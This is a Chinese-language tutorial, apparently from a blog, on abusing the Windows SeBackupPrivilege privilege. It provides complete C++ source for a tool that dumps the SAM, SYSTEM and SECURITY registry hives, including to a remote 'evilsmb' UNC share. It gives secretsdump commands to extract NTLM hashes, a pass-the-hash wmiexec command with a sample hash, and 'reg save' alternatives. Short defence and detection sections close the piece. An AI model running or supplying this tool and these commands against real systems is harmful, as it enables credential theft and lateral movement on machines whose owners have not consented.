Token Privileges Abusing - SeBackupPrivilege
字数 1047 2025-08-06 12:21:08

SeBackupPrivilege 特权滥用技术详解

1. SeBackupPrivilege 特权概述

SeBackupPrivilege(备份文件和目录特权)是Windows操作系统中的一个重要特权,在Microsoft官方文档中被描述为"Back up files and directories"。该特权具有以下关键特性:

  • 授予进程对任何文件或对象的所有读取访问控制权限
  • 绕过常规的ACL检查,无论文件或对象上设置的访问控制列表如何
  • 仅适用于读取操作,其他类型的访问请求仍会受ACL限制

2. 特权滥用原理

拥有SeBackupPrivilege特权的进程可以:

  1. 读取系统关键文件(如SAM数据库)
  2. 导出敏感注册表项(如HKLM\SAM、HKLM\SYSTEM、HKLM\SECURITY)
  3. 通过这些数据获取系统管理员凭证(NTLM哈希)

3. 技术实现细节

3.1 启用SeBackupPrivilege

启用特权需要以下步骤:

BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
    BOOL status = FALSE;
    LUID luidValue = {0};
    TOKEN_PRIVILEGES tokenPrivileges;
    
    // 获取特权的LUID值
    if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
        wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
        return status;
    }
    
    // 设置特权提升信息
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    // 调整进程令牌权限
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) {
        wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
        return status;
    } else {
        status = TRUE;
    }
    return status;
}

3.2 导出注册表项

使用RegSaveKeyW()函数导出关键注册表项:

BOOL ExploitSeBackupPrivilege(LPCWSTR savePath) {
    BOOL status = FALSE;
    DWORD lResult;
    HKEY hKey;
    LPCWSTR subKeys[] = {L"SAM", L"SYSTEM", L"SECURITY"};
    
    for (int i = 0; i < 3; i++) {
        // 打开指定的注册表项
        lResult = RegOpenKeyExW(HKEY_LOCAL_MACHINE, subKeys[i], REG_OPTION_BACKUP_RESTORE, KEY_READ, &hKey);
        if (lResult != ERROR_SUCCESS) {
            wprintf(L"[-] RegOpenKeyExW Error: [%u].\n", lResult);
            return status;
        }
        
        // 保存注册表项及其子项和值到新文件
        lResult = RegSaveKeyW(hKey, std::wstring(savePath).append(L"\\").append(subKeys[i]).c_str(), NULL);
        if (lResult != ERROR_SUCCESS) {
            wprintf(L"[-] RegSaveKeyW Error: [%u].\n", lResult);
            return status;
        }
        wprintf(L"[*] Dump %s hive successfully.\n", subKeys[i]);
        status = TRUE;
    }
    return status;
}

4. 实际利用步骤

4.1 编译并上传工具

  1. 编译提供的C++代码生成SeBackupPrivilege.exe
  2. 将可执行文件上传到目标系统

4.2 执行注册表导出

SeBackupPrivilege.exe -o \\172.26.10.128\evilsmb
  • -o参数指定保存路径,可以是本地路径或UNC路径(用于绕过本地写入权限限制)

4.3 解析SAM数据库

使用impacket工具包中的secretsdump.py解析导出的注册表文件:

python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

4.4 哈希传递攻击

使用获取的管理员哈希进行横向移动:

python3 wmiexec.py ./Administrator@172.26.10.21 -hashes :cb136a448767792bae25563a498a86e6

5. 替代方法

Windows自带的reg命令会自动启用SeBackupPrivilege特权,可直接使用:

reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM

6. 防御措施

  1. 最小权限原则:仅向必要用户/服务授予SeBackupPrivilege特权
  2. 特权账户监控:监控具有备份特权的账户活动
  3. 日志审计:启用对注册表关键项的访问审计
  4. LSA保护:启用LSA保护防止凭据转储
  5. 限制远程SAM访问:通过组策略限制远程SAM访问

7. 检测方法

  1. 监控对以下注册表项的异常访问:
    • HKLM\SAM
    • HKLM\SYSTEM
    • HKLM\SECURITY
  2. 检测异常使用RegSaveKey/RegSaveKeyEx API的进程
  3. 监控非备份软件使用备份特权的情况

8. 完整利用代码

#include <Windows.h>
#include <iostream>
#include <stdio.h>

BOOL ExploitSeBackupPrivilege(LPCWSTR savePath) {
    BOOL status = FALSE;
    DWORD lResult;
    HKEY hKey;
    LPCWSTR subKeys[] = {L"SAM", L"SYSTEM", L"SECURITY"};
    
    for (int i = 0; i < 3; i++) {
        lResult = RegOpenKeyExW(HKEY_LOCAL_MACHINE, subKeys[i], REG_OPTION_BACKUP_RESTORE, KEY_READ, &hKey);
        if (lResult != ERROR_SUCCESS) {
            wprintf(L"[-] RegOpenKeyExW Error: [%u].\n", lResult);
            return status;
        }
        
        lResult = RegSaveKeyW(hKey, std::wstring(savePath).append(L"\\").append(subKeys[i]).c_str(), NULL);
        if (lResult != ERROR_SUCCESS) {
            wprintf(L"[-] RegSaveKeyW Error: [%u].\n", lResult);
            return status;
        }
        wprintf(L"[*] Dump %s hive successfully.\n", subKeys[i]);
        status = TRUE;
    }
    return status;
}

BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
    BOOL status = FALSE;
    LUID luidValue = {0};
    TOKEN_PRIVILEGES tokenPrivileges;
    
    if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
        wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
        return status;
    }
    
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) {
        wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
        return status;
    } else {
        status = TRUE;
    }
    return status;
}

void PrintUsage() {
    wprintf(
        L"Abuse of SeBackupPrivilege by @WHOAMI (whoamianony.top)\n\n"
        L"Arguments:\n"
        L"  -h       Show this help message and exit\n"
        L"  -o <PATH> Where to store the sam/system/security files (can be UNC path)\n"
    );
}

int wmain(int argc, wchar_t* argv[]) {
    HANDLE hToken = NULL;
    LPCWSTR savePath = L"C:\\Users\\Public";
    
    while ((argc > 1) && (argv[1][0] == '-')) {
        switch (argv[1][1]) {
            case 'h':
                PrintUsage();
                return 0;
            case 'o':
                ++argv;
                --argc;
                if (argc > 1 && argv[1][0] != '-') {
                    savePath = (LPCWSTR)argv[1];
                }
                break;
            default:
                wprintf(L"[-] Invalid Argument: %s.\n", argv[1]);
                PrintUsage();
                return 0;
        }
        ++argv;
        --argc;
    }
    
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        wprintf(L"[-] OpenProcessToken Error: [%u].\n", GetLastError());
        return 0;
    }
    
    if (EnableTokenPrivilege(hToken, SE_BACKUP_NAME)) {
        if (ExploitSeBackupPrivilege(savePath)) {
            return 1;
        }
    }
}

通过以上技术细节,安全研究人员可以更好地理解SeBackupPrivilege特权的潜在风险,并采取相应措施保护系统安全。

SeBackupPrivilege 特权滥用技术详解 1. SeBackupPrivilege 特权概述 SeBackupPrivilege(备份文件和目录特权)是Windows操作系统中的一个重要特权,在Microsoft官方文档中被描述为"Back up files and directories"。该特权具有以下关键特性: 授予进程对任何文件或对象的 所有读取访问控制 权限 绕过常规的ACL检查 ,无论文件或对象上设置的访问控制列表如何 仅适用于 读取操作 ,其他类型的访问请求仍会受ACL限制 2. 特权滥用原理 拥有SeBackupPrivilege特权的进程可以: 读取系统关键文件(如SAM数据库) 导出敏感注册表项(如HKLM\SAM、HKLM\SYSTEM、HKLM\SECURITY) 通过这些数据获取系统管理员凭证(NTLM哈希) 3. 技术实现细节 3.1 启用SeBackupPrivilege 启用特权需要以下步骤: 3.2 导出注册表项 使用 RegSaveKeyW() 函数导出关键注册表项: 4. 实际利用步骤 4.1 编译并上传工具 编译提供的C++代码生成SeBackupPrivilege.exe 将可执行文件上传到目标系统 4.2 执行注册表导出 -o 参数指定保存路径,可以是本地路径或UNC路径(用于绕过本地写入权限限制) 4.3 解析SAM数据库 使用impacket工具包中的secretsdump.py解析导出的注册表文件: 4.4 哈希传递攻击 使用获取的管理员哈希进行横向移动: 5. 替代方法 Windows自带的reg命令会自动启用SeBackupPrivilege特权,可直接使用: 6. 防御措施 最小权限原则 :仅向必要用户/服务授予SeBackupPrivilege特权 特权账户监控 :监控具有备份特权的账户活动 日志审计 :启用对注册表关键项的访问审计 LSA保护 :启用LSA保护防止凭据转储 限制远程SAM访问 :通过组策略限制远程SAM访问 7. 检测方法 监控对以下注册表项的异常访问: HKLM\SAM HKLM\SYSTEM HKLM\SECURITY 检测异常使用RegSaveKey/RegSaveKeyEx API的进程 监控非备份软件使用备份特权的情况 8. 完整利用代码 通过以上技术细节,安全研究人员可以更好地理解SeBackupPrivilege特权的潜在风险,并采取相应措施保护系统安全。